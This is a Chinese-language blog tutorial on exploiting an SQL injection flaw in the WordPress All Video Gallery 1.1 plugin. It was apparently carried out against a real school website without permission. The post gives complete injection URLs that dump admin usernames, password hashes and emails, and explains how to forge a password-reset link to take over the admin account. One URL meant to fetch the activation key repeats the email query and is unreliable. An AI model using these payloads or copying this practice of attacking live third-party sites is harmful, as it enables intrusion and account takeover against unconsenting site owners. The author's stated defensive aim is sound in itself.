
前幾天微軟 skype 的官方部落格網站被駭客突破,雖然很快進行了修復,但從網友截圖的圖片來看,應該一些抗議美國國安局監聽行為和反對微軟在軟體裡隱藏後門的駭客所為。
微軟 skype 的官方部落格使用的是 WordPress 平臺,WordPress 目前是世界上最流行的部落格平臺,市場佔有率高達 70%,這次攻擊事件雖然牽涉到 WordPress,但並不能說明 WordPress 平臺很脆弱,事實上脆弱的是 WordPress 上多達百萬的各種第三方外掛,這些外掛的質量良莠不齊,如果你使用錯誤的外掛,沒有及時更新到最新版本,那你的 WordPress 網站就會成為駭客的目標。
All Video Gallery 就是這樣的一個典型例子。早在 2012 年 6 月份就有安全網站公佈這個外掛的 1.1 版有嚴重的安全漏洞,但我今天還是很輕鬆的使用谷歌搜到了仍然使用這個有漏洞的外掛的網站。本文就是要以這個網站為靶子,給大家實戰講解駭客是如何利用 sql 注入技術攻破一個網站的。

這個網站看起來像是印度或巴基斯坦的某個公立學校的網站。我不想在這裡透露這個網站的真實地址,如果你也想實戰一下,可以自己架設一個 WordPress 網站,安裝上這個有安全漏洞的外掛。如果你真的有興趣想看看這個網站、非惡意的,請關注我的微薄 @外刊 IT 評論,和我私信聯絡。
SQL 隱碼攻擊的基本原理
sql 注入成因主要是對頁面引數沒有進行非法字元校驗導致,比如說一個訂單頁面要顯示某個客戶的所有訂單列表,這個頁面的地址可能是 http://xxx.com/list.php?customID=3,我們推理,這樣頁面的後臺處理的 sql 應該是這樣的:
select * form custom_order where custom_id = {$_GET['customID']}
按正常情況下,這裡的接收的引數 {$_GET['customID']} 的值應該是傳入的值 3,這樣頁面就能正確的把所有客戶 ID 等於 3 的訂單資訊顯示到頁面上。但是,如果這個引數被人惡意改成了如下形式:
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按這樣的引數拼裝成的 sql 就成了這樣:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
這樣注入惡意 sql 後,訂單列表頁顯示的就不是訂單資訊了,而是資料庫中使用者的名稱和密碼,或者任意其它想要的資訊。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員使用者名稱,管理員郵箱地址,透過郵箱重置管理員密碼,登入超級管理員後臺。
All Video Gallery 外掛的漏洞簡介
安裝了 All Video Gallery 外掛的 WordPress 部落格裡會有這樣的一個地址:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
訪問這個頁面會顯示一些配置資訊,問題就出在 pid 這個引數上,程式後臺顯然沒有嚴格檢查這個引數,我們將利用這個引數進行 sql 注入。
WordPress 是一個開源的平臺,我們很容易弄清楚使用者表的表名是 wp_users,存放使用者名稱,密碼,郵件地址的欄位分別是 user_login,user_pass,user_email,我們下面將要把使用者資訊表注入進去。
獲取超級管理員使用者名稱
為了獲取使用者表中的使用者名稱,我們注入的 sql 是這樣的:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
在瀏覽器裡輸入上面的地址,頁面上會顯示下面的資訊:

獲取超級管理員郵件地址
我們可以直接獲取使用者的密碼,但很顯然,密碼都是加密的,無法使用,我們這裡使用另外一種思路,先獲取使用者的郵件地址,然後使用這個郵件重置使用者的密碼。
要獲取郵件地址,我們需要將上面的 sql 中的欄位名改成 user_email:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
在瀏覽器裡輸入上面的地址,頁面上會顯示下面的資訊:

重置管理員密碼
WordPress 的後臺登陸地址是 http://xxx.com/wp-login.php,這個地址是可以公共訪問的,我們進入這個頁面後,點選 Lost your password? 連結,輸入上面獲取的管理員郵件。

這樣做了之後,WordPress 會向這個郵件地址傳送一封含有啟用碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址,但我們可以使用上面同樣的方法獲取這個啟用碼,自己拼裝出密碼重置地址。存放啟用碼的欄位是 user_activation_key,我們的 sql 注入地址改成下面這樣:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
在瀏覽器裡輸入上面的地址,頁面上會顯示下面的資訊:

有了啟用碼,我們就可以拼裝出裝置密碼的地址了:
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
利用這個地址進入重置密碼頁面:

總結
我們的駭客行動到此基本上是大功告成,但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行駭客攻擊,而是要提醒大家防範安全漏洞,所謂知己知彼,方能百戰不殆,程式設計師應當對基本的駭客攻擊方式有一些瞭解,針對性的在程式設計時避免造成類似 sql 注入的安全漏洞,構築更健壯的軟體。